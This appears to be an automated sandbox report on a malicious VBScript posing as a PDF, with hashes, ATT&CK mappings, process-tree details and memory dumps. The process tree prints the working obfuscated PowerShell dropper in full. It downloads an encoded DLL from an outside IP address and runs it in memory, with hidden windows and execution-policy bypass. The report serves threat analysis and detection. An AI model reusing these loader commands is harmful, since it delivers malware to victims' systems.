ab9c7560ca7b9d1f5969701bf497090d5fa95ae6373da5591dac202db9ce34af

General

Target

RFAU02GSHKOPSFDQW_002_PDF.vbs
Size

222KB
MD5

f212536d8cdf98f7284837ee48886346
SHA1

7fe473d02fe0dc783b6021c792abca338dc4e11f
SHA256

91f8e59475196b2ab33f9e5e22beb04d3ee039985abe1572a4a6e7b3f6f8b74d
SHA512

08524a86d5b9f53953e9587286e7210c48ee403e99c67f13dbdd5081a7d558c58541c4e95b6ca640a98a5e5d8a634127801767655b168fa8889357d3319880c6
SSDEEP

192:Oply3gSajcsbpS1zQ1QXDebjDqNBft1hx8+W6h8VDvwAv1CjIc:ODokghw1HqR98dfH1Cjj

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.106.255.48/dll/TESTING.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe
2688	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2696	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2696	2848	WScript.exe	31
PID 2848 wrote to memory of 2696	2848	WScript.exe	31
PID 2848 wrote to memory of 2696	2848	WScript.exe	31
PID 2696 wrote to memory of 2688	2696	powershell.exe	33
PID 2696 wrote to memory of 2688	2696	powershell.exe	33
PID 2696 wrote to memory of 2688	2696	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFAU02GSHKOPSFDQW_002_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC❤Hk❤d❤Bl❤Fs❤XQBd❤C❤❤J❤BE❤Ew❤T❤❤g❤D0❤I❤Bb❤FM❤eQBz❤HQ❤ZQBt❤C4❤QwBv❤G4❤dgBl❤HI❤d❤Bd❤Do❤OgBG❤HI❤bwBt❤EI❤YQBz❤GU❤Ng❤0❤FM❤d❤By❤Gk❤bgBn❤Cg❤K❤BO❤GU❤dw❤t❤E8❤YgBq❤GU❤YwB0❤C❤❤TgBl❤HQ❤LgBX❤GU❤YgBD❤Gw❤aQBl❤G4❤d❤❤p❤C4❤R❤Bv❤Hc❤bgBs❤G8❤YQBk❤FM❤d❤By❤Gk❤bgBn❤Cg❤JwBo❤HQ❤d❤Bw❤Do❤Lw❤v❤DI❤M❤❤u❤DE❤M❤❤2❤C4❤Mg❤1❤DU❤Lg❤0❤Dg❤LwBk❤Gw❤b❤❤v❤FQ❤RQBT❤FQ❤SQBO❤Ec❤LgB0❤Hg❤d❤❤n❤Ck❤KQ❤7❤Fs❤UwB5❤HM❤d❤Bl❤G0❤LgBB❤H❤❤c❤BE❤G8❤bQBh❤Gk❤bgBd❤Do❤OgBD❤HU❤cgBy❤GU❤bgB0❤EQ❤bwBt❤GE❤aQBu❤C4❤T❤Bv❤GE❤Z❤❤o❤CQ❤R❤BM❤Ew❤KQ❤u❤Ec❤ZQB0❤FQ❤eQBw❤GU❤K❤❤n❤EY❤aQBi❤GU❤cg❤u❤Eg❤bwBt❤GU❤Jw❤p❤C4❤RwBl❤HQ❤TQBl❤HQ❤a❤Bv❤GQ❤K❤❤n❤FY❤QQBJ❤Cc❤KQ❤u❤Ek❤bgB2❤G8❤awBl❤Cg❤J❤Bu❤HU❤b❤Bs❤Cw❤I❤Bb❤G8❤YgBq❤GU❤YwB0❤Fs❤XQBd❤C❤❤K❤❤n❤DU❤Mg❤1❤Dk❤M❤Bl❤GI❤Yg❤w❤DI❤NQ❤0❤C0❤O❤❤z❤Dc❤OQ❤t❤DQ❤Yg❤1❤DQ❤LQBi❤Dc❤ZgBl❤C0❤Mw❤x❤GI❤YwBh❤GY❤N❤❤2❤D0❤bgBl❤Gs❤bwB0❤CY❤YQBp❤GQ❤ZQBt❤D0❤d❤Bs❤GE❤PwB0❤Hg❤d❤❤u❤D❤❤MgBB❤FI❤RQ❤v❤G8❤LwBt❤G8❤Yw❤u❤HQ❤bwBw❤HM❤c❤Bw❤GE❤Lg❤w❤Dc❤N❤Bm❤GY❤LQBz❤HI❤LwBi❤C8❤M❤B2❤C8❤bQBv❤GM❤LgBz❤Gk❤c❤Bh❤GU❤b❤Bn❤G8❤bwBn❤C4❤ZQBn❤GE❤cgBv❤HQ❤cwBl❤HM❤YQBi❤GU❤cgBp❤GY❤Lw❤v❤Do❤cwBw❤HQ❤d❤Bo❤Cc❤KQ❤p❤❤==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('❤','A') ) ).replace('%testinmg%','');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.255.48/dll/TESTING.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('52590ebb0254-8379-4b54-b7fe-31bcaf46=nekot&aidem=tla?txt.02ARE/o/moc.topsppa.074ff-sr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
da8d6c12fda9263b710142c3543e0bc4

SHA1
7ea98f73b3c61168f468aabf6ab6f07701d99a16

SHA256
b2ffc0d596d560c3b5f0ec599992f7b7f31d98ce54240f0948088b2b2688b76f

SHA512
85d221597c18c7198a0a37fa1d9efa3f3b20ee3f19c82e52c341132d1beff1198f0a89080e054790f733a5a77c4e5e9afcadbf984f032e2f5e19700f45e37956

Download Submit
memory/2696-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/2696-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2696-6-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2696-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-16-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-17-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/2696-18-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-19-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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